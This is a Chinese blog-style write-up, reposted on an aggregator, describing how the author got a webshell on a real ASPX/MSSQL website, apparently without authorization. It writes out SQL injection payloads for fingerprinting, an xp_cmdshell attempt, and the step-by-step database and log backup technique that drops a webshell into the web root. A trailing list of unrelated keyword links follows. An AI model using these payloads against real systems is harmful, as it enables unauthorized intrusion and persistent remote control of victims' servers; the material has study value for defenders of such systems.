一次差异备份拿shell过程
发表于:2025-11-07 作者:千家信息网编辑
千家信息网最后更新 2025年11月07日,0x00 前言扫描器扫到了某个网站存在目录浏览,于是便有了本文。。。知识点科普:1. 目录浏览目录浏览在我个人看来是危害较大的一个漏洞,该漏洞是指"在没有默认文档的目录下,列出该目录下所有文件名及文件
千家信息网最后更新 2025年11月07日一次差异备份拿shell过程
0x00 前言
扫描器扫到了某个网站存在目录浏览,于是便有了本文。。。
知识点科普:
1. 目录浏览
目录浏览在我个人看来是危害较大的一个漏洞,该漏洞是指"在没有默认文档的目录下,列出该目录下所有文件名及文件信息",如果站点存在这种错误配置,***者如果知道其中目录名,则可以查看到这些目录下的文件。
2.差异备份条件
- 站点绝对路径
- 具有路径写入权限
- 具备当前数据库权限
0x01 正文
站点配置不当,导致目录浏览,通过查看首页的源代码,翻到了几个目录
随便访问了一个,发现会报错,说明网站管理员并没有把错误信息屏蔽
还存在信息泄漏。。
但是通常目录下的文件是需要传递参数去执行的,我们并不知道参数名,所以并没办法利用
辗转后到前台登录界面查看
尝试了一下,发现密码处存在注入和弱口令admin,也就是可以用万能密码登录啦
本来想找一处文件上传,直接getshell,但是发现好像不存在,却发现了网站使用了kindeditor和网站绝对路径
那么前面登录口处存在注入,后台一般也有很多注入的啦,尝试找一下,如果有的话,配合绝对路径可以进行getshell
okok,发现注入啦,但到目前为止并不知道数据库是什么类型,一般aspx+mssql,由于前面发现是可以报错的,那么尝试使用mssql的报错方式
%' and 1=@@version --amssql数据库,查看一下当前的用户身份
%' and 1=user --adbo的权限并不是sa,尝试一下xp_cmdshell
%';exec('master..xp_cmdshell whoami') --a并没有开启xp_cmdshell,且dbo的权限是不足以开启xp_cmdshell的,那么只能尝试使用差异备份的方式来写入一个webshell
1. 获取当前数据库名称
%' and 1=db_name() --a2. 对当前数据库进行备份
%';backup database 数据库名称 to disk = '绝对路径' with init --a 如果成功备份,则网页返回%'的查询结果(因为是堆叠且后面语句的执行并不会有返回结果)
3.创建表格,并写入webshell
%';create table cmd(a image) --a%';insert into cmd(a) values (0xxxxx) --a //webshell的hex值可以用网上的工具,笔者用以前自己开发的小工具
4.进行第二次备份
%';backup log 数据库名称 to disk = '绝对路径\\abc.aspx'--这里我将webshell写入子目录中,因为有目录浏览,能确切看到文件是否产生
创建成功后,尝试连接
0x02 后续
- 如果能直接使用xp_cmdshell就尽量不要使用差异备份,因为会产生备份文件,如果数据库很大的话,会造成影响
- 有任何错误,请斧正
目录
数据
数据库
备份
文件
路径
尝试
浏览
权限
网站
差异
信息
名称
站点
错误
登录
成功
参数
密码
工具
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
武软软件开发
绝对演绎服务器名字
哈密软件开发市场价
数据库字段中文翻译成英文
主数据库的扩展名
人防技防物防网络安全
政务云 网络安全责任
天刀 少女数据库
江苏工控软件开发哪家正规
湖南新一代网络技术标准
前端工程师做软件开发棋牌app
传奇3g怪物经验数据库
国家医保数据库动态维护怎么填
福建云空间系统云服务器
西安软件开发驻场哪家便宜
md102 软件开发
eclipse查询数据库
服务器管理器怎么用添加功能
阿里云服务器主机登陆
数据库数据修改怎么还原吗
软件开发部主管的QA职责
snpedia数据库
软件开发 m0 m1
宏迈网络技术有限公司
浩顺招聘软件开发
blob存入数据库很慢
网络安全初级工程师
团支部网络安全宣传周活动
5g时代下融媒体网络安全
手机远程显示服务器失败